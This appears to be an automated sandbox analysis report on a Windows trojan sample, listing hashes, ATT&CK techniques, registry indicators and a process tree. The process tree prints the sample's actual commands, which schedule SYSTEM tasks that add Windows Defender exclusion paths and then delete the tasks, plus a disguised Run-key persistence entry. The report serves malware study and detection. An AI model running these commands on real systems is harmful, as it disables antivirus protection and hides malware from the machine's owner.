676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7

Analysis

max time kernel
149s
max time network
129s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
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General

Target
shaxiang/p5ALWJ.exe
Size 135KB
Sample260703-mg9pyact8l
SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
MD5 9ec587911e501b73b7cf09f05d0ae17d
SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
TLSH
T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion execution persistence trojan

Malware Config

Signatures

Windows security bypass 2 TTPs 8 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\shaxiang = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\shaxiang\\p5ALWJ.exe\""	p5ALWJ.exe

Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
4800	cmd.exe
2712	cmd.exe
2104	cmd.exe
1708	cmd.exe
1916	cmd.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\Control Panel\International\Geo\Nation	p5ALWJ.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	p5ALWJ.exe

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\yKLY1z	p5ALWJ.exe
File created	C:\Program Files (x86)\yKLY1z\yKLY1z.exe	p5ALWJ.exe
File created	C:\Program Files (x86)\yKLY1z\XPSPLOG.dll	p5ALWJ.exe
File created	C:\Program Files (x86)\yKLY1z\image.png	p5ALWJ.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4692	schtasks.exe
4708	schtasks.exe
1700	schtasks.exe
4888	schtasks.exe
960	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3424	p5ALWJ.exe
3424	p5ALWJ.exe
3424	p5ALWJ.exe
3424	p5ALWJ.exe
3424	p5ALWJ.exe
3424	p5ALWJ.exe
3424	p5ALWJ.exe
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3424	p5ALWJ.exe
3424	p5ALWJ.exe
3424	p5ALWJ.exe
3424	p5ALWJ.exe
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3424	p5ALWJ.exe
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3424	p5ALWJ.exe
3424	p5ALWJ.exe
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3424	p5ALWJ.exe
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3424	p5ALWJ.exe
3424	p5ALWJ.exe
3424	p5ALWJ.exe
3424	p5ALWJ.exe
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3424	p5ALWJ.exe
3424	p5ALWJ.exe
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3424	p5ALWJ.exe
3424	p5ALWJ.exe
3424	p5ALWJ.exe
3424	p5ALWJ.exe
976	p5ALWJ.exe
976	p5ALWJ.exe
3424	p5ALWJ.exe
3424	p5ALWJ.exe
3424	p5ALWJ.exe
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3424	p5ALWJ.exe
3424	p5ALWJ.exe
3424	p5ALWJ.exe
3424	p5ALWJ.exe
976	p5ALWJ.exe
976	p5ALWJ.exe
3424	p5ALWJ.exe
3424	p5ALWJ.exe
976	p5ALWJ.exe
976	p5ALWJ.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 3424 wrote to memory of 1708	3424	p5ALWJ.exe	86
PID 1708 wrote to memory of 4692	1708	cmd.exe	88
PID 1708 wrote to memory of 3700	1708	cmd.exe	89
PID 1708 wrote to memory of 2196	1708	cmd.exe	91
PID 3704 wrote to memory of 3160	3704	cmd.exe	95
PID 3424 wrote to memory of 1916	3424	p5ALWJ.exe	96
PID 1916 wrote to memory of 4708	1916	cmd.exe	100
PID 1916 wrote to memory of 3272	1916	cmd.exe	101
PID 1916 wrote to memory of 3056	1916	cmd.exe	103
PID 3424 wrote to memory of 4800	3424	p5ALWJ.exe	104
PID 4800 wrote to memory of 1700	4800	cmd.exe	107
PID 4952 wrote to memory of 3588	4952	cmd.exe	108
PID 3424 wrote to memory of 2712	3424	p5ALWJ.exe	109
PID 4800 wrote to memory of 4988	4800	cmd.exe	111
PID 3424 wrote to memory of 2104	3424	p5ALWJ.exe	113
PID 4800 wrote to memory of 1080	4800	cmd.exe	115
PID 2712 wrote to memory of 4888	2712	cmd.exe	116
PID 2104 wrote to memory of 960	2104	cmd.exe	117
PID 2712 wrote to memory of 4612	2712	cmd.exe	118
PID 2104 wrote to memory of 3916	2104	cmd.exe	120
PID 2712 wrote to memory of 4656	2712	cmd.exe	121
PID 2104 wrote to memory of 4764	2104	cmd.exe	122
PID 3652 wrote to memory of 4444	3652	cmd.exe	125
PID 228 wrote to memory of 1392	228	cmd.exe	126

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\shaxiang\p5ALWJ.exe
"C:\Users\Admin\AppData\Local\Temp\shaxiang\p5ALWJ.exe"
1⤵
- Adds Run key to start application
- Checks computer location settings
- Drops file in System32 directory
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3424
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\AppData\Local\Temp\shaxiang\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:1708
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\AppData\Local\Temp\shaxiang\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4692
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3700
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2196
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:1916
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4708
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3272
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3056
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4800
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1700
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4988
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:1080
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2712
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4888
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4612
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4656
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2104
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:960
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3916
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4764

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\shaxiang" /t REG_DWORD /d 0 /f
1⤵
- Suspicious use of WriteProcessMemory
PID:3704
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\shaxiang" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:3160

C:\Users\Admin\AppData\Local\Temp\shaxiang\p5ALWJ.exe
"C:\Users\Admin\AppData\Local\Temp\shaxiang\p5ALWJ.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
PID:976

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:1252

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
1⤵
- Suspicious use of WriteProcessMemory
PID:4952
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:3588

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
1⤵
- Suspicious use of WriteProcessMemory
PID:3652
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:4444

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Suspicious use of WriteProcessMemory
PID:228
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:1392

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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